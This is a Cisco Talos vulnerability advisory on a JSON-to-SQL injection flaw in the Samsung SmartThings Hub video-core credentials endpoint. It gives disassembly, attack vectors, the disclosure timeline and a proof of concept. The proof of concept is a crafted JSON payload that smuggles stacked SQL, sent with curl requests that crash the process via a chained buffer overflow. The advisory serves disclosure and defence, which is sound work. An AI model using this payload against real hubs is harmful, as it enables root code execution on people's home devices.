Talos Vulnerability Report

TALOS-2018-0556

Samsung SmartThings Hub video-core credentials Parsing SQL Injection Vulnerability

July 26, 2018
CVE Number

CVE-2018-3879

Summary

An exploitable JSON injection vulnerability exists in the credentials handler of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly parses the user-controlled JSON payload, leading to a JSON injection which in turn leads to a SQL injection in the video-core database. An attacker can send a series of HTTP requests to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a POST request for the "/credentials" path it's possible to modify the credentials used by the hub to connect to remote servers. New credentials are sent in the POST body using the JSON format:

{
    "s3": {
        "accessKey": "...",
        "bucket": "...",
        "directory": "...",
        "region": "...",
        "secretKey": "...",
        "sessionToken": "..."
    },
    "videoHostUrl": "..."
}

Where "..." would contain the appropriate value for each field. Using the "json-c" library, function sub_3E4EC parses the JSON string into a json_object. All the fields are then extracted and a series of modifications are applied. Finally, the fields are saved in the internal video-core SQLite database at /hub/data/videocore/db/VideoCore.db.

.text:0003E4EC     sub_3E4EC
.text:0003E4EC
.text:0003E4EC     dest            = -0xCB4
.text:0003E4EC     value           = -0xCB0
.text:0003E4EC     var_CAC         = -0xCAC
.text:0003E4EC     var_CA0         = -0xCA0
.text:0003E4EC     var_C90         = -0xC90
.text:0003E4EC     var_C50         = -0xC50
.text:0003E4EC     var_A70         = -0xA70
.text:0003E4EC     var_14          = -0x14
.text:0003E4EC     arg_0           =  4
.text:0003E4EC     arg_4           =  8
.text:0003E4EC
.text:0003E4EC 000        MOV             R12, #:lower16:stru_C1D38
.text:0003E4F0 000        STMFD           SP!, {R4-R7,R11,LR}
.text:0003E4F4 018        MOVT            R12, #:upper16:stru_C1D38
.text:0003E4F8 018        ADD             R11, SP, #0x14
...
.text:0003E564 CC0        BL              http_required_json_parameters  ; [1]
.text:0003E568 CC0        CMP             R0, #0
.text:0003E56C CC0        BNE             loc_3E594
...
.text:0003E594     loc_3E594
.text:0003E594 000        MOV             R0, R4
.text:0003E598 000        BL              json_tokener_parse             ; [2]
.text:0003E59C 000        SUBS            R6, R0, #0
.text:0003E5A0 000        BEQ             loc_3E93C
.text:0003E5A4 000        MOV             R1, #:lower16:aS3              ; "s3"
.text:0003E5A8 000        SUB             R2, R11, #-value
.text:0003E5AC 000        MOVT            R1, #:upper16:aS3              ; "s3"
...
.text:0003E860 000        MOV             R1, #:lower16:aVideohosturl ; "videoHostUrl"
.text:0003E864 000        MOV             R0, R6
.text:0003E868 000        SUB             R2, R11, #-value
.text:0003E86C 000        MOVT            R1, #:upper16:aVideohosturl ; "videoHostUrl"
.text:0003E870 000        BL              json_object_object_get_ex      ; [3]
...
.text:0003E890 000        LDR             R0, [R11,#value]
.text:0003E894 000        BL              json_object_to_json_string     ; [4]
.text:0003E898 000        MOV             R7, R0
.text:0003E89C 000        BL              strlen
.text:0003E8A0 000        MOV             R2, R4
.text:0003E8A4 000        MOV             R1, R0
.text:0003E8A8 000        MOV             R3, #0xFF
.text:0003E8AC 000        MOV             R0, R7
.text:0003E8B0 000        BL              sub_3E2A4                      ; [5]
.text:0003E8B4 000        CMP             R0, #0
.text:0003E8B8 000        BNE             loc_3E9AC
...
.text:0003E9AC     loc_3E9AC
.text:0003E9AC 000        MOV             R0, R5                         ; [7]
.text:0003E9B0 000        BL              sub_28874                      ; [6]

The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: s3.secretKey, s3.accessKey, s3.sessionToken, s3.bucket, s3.directory, s3.region, videoHostUrl.

The library function json_tokener_parse [2] is then used to parse the POST data, and a JSON object is returned. At [3] json_object_object_get_ex is used to retrieve the "videoHostUrl" parameter from the main JSON object: this function in turns returns a new JSON object from which a string is extracted, using json_object_to_json_string [4]. The same approach is used for extracting the rest of the parameters, with the exception that the "videoHostUrl" parameter is subject to a series of modifications and additional checks at [5].

Once all parameters are extracted, function sub_28874 is called [6] to save the new fields in the database. A structure containing the extracted parameters is passed as first argument [7].

.text:00028874     sub_28874
.text:00028874
.text:00028874 000        STMFD           SP!, {R4-R9,LR}
.text:00028878 01C        MOV             R4, R0                         ; [7]
.text:0002887C 01C        SUB             SP, SP, #0x2FC
.text:00028880 318        MOV             R0, #0                         ; timer
.text:00028884 318        ADD             R8, R4, #4
.text:00028888 318        ADD             R6, SP, #0x318+var_300
.text:0002888C 318        BL              time
.text:00028890 318        MOV             R9, R0
...
.text:000288E0 318        ADD             R3, R4, #0x990
.text:000288E4 318        ADD             LR, R4, #0x9D0
.text:000288E8 318        ADD             R12, R4, #0x980
.text:000288EC 318        ADD             LR, LR, #0xC
.text:000288F0 318        ADD             R12, R12, #0xC
.text:000288F4 318        ADD             R3, R3, #0xC
.text:000288F8 318        ADD             R7, R4, #0x1BC
.text:000288FC 318        MOV             R1, #:lower16:aSecretkeySAcce  ; [8]
.text:00028900 318        ADD             R2, R4, #0x13C
.text:00028904 318        STR             R3, [SP,#0x318+var_314]
.text:00028908 318        STR             LR, [SP,#0x318+var_310]
.text:0002890C 318        ADD             R3, R4, #0x11C
.text:00028910 318        MOVT            R1, #:upper16:aSecretkeySAcce  ; [8]
.text:00028914 318        STR             R12, [SP,#0x318+var_30C]
.text:00028918 318        STR             R9, [SP,#0x318+var_304]
.text:0002891C 318        MOV             R0, R5
.text:00028920 318        STR             R6, [SP,#0x318+var_308]
.text:00028924 318        STR             R7, [SP,#0x318+var_318]
.text:00028928 318        BL              sprintf                        ; [9]
.text:0002892C 318        MOV             R1, #:lower16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028930 318        MOV             R2, R5
.text:00028934 318        MOVT            R1, #:upper16:aShardinmemoryd  ; "shardInMemoryDb"
.text:00028938 318        MOV             R0, #3
.text:0002893C 318        BL              db_add                         ; [10]

The function sprintf [9] is used to build a new JSON string, using the parameters structure at [7] and the format string at [8]. Specifically, the format string is defined as:

{
    "accessKey": "%s",
    "bucket": "%s",
    "directory": "%s",
    "region": "%s",
    "secretKey": "%s",
    "sessionToken": "%s",
    "time": "%ld",
    "videoHostURL": "%s"
}

Finally, function db_add [10] parses the resulting JSON string and, by mapping each JSON key to a column name, updates the database accordingly. In this case the following query is generated and executed:

UPDATE shard SET
    secretKey='...',
    accessKey='...',
    sessionToken='...',
    bucket='...',
    directory='...',
    region='...',
    videoHostURL='...',
    time='...'
WHERE _id='shardInMemoryDb'

As we can see, no sanitization is performed on the parameters throughout the whole JSON parsing and creation logic. Moreover, the "json-c" library has been compiled with JSON_TOKENER_STRICT=0, which allows for defining strings with both single and double quotes. The original JSON payload read from the POST request is expected to utilize double-quote characters for strings. If, instead, single-quotes are used, it is possible to inject arbitrary fields in the JSON string generated at [9]. In turn, this allows for specifying custom columns in the SQL query, which are not wrapped with quotes. SQL queries are executed using the sqlite3_exec() method, which allows execution of stacked queries. Thus, a JSON key containing a semicolon character allows for executing arbitrary SQL queries. Finally, arbitrary SQL queries could be exploited by an attacker to execute arbitrary code in the context of the video-core process.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn't test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

Note that while we scored this vulnerability CVSS 8.8 on its own, it would constitute a CVSS 9.9 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0557. This is demonstrated in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core process:

# using curl from inside the hub, but the same request could be sent using a SmartApp
$ sInj='","_id=0 where 1=2;insert into camera values (123,replace(substr(quote(zeroblob((10000 + 1) / 2)), 3, 10000), \\"0\\", \\"A\\"),1,1,1,1,1,1,1,1,1,1,1,1,1,1);--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"
$ curl -X DELETE "http://127.0.0.1:3000/cameras/123"

This proof of concept exploits the JSON injection to execute an arbitrary SQL query. The SQL query simply creates a new camera with id "123", and uses a 10,000 bytes long string of "A"s in place of the locationId column (2nd column). This string could be replaced with a ROP-like payload.

The last curl request makes video-core to delete the camera with id "123". Before deleting, video-core reads every field related to the camera, and since the application trusts the contents in the database, an overlong locationId is unexpected and causes a stack-based buffer overflow which overwrites the saved PC (TALOS-2018-0557).

Timeline

2018-04-09 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.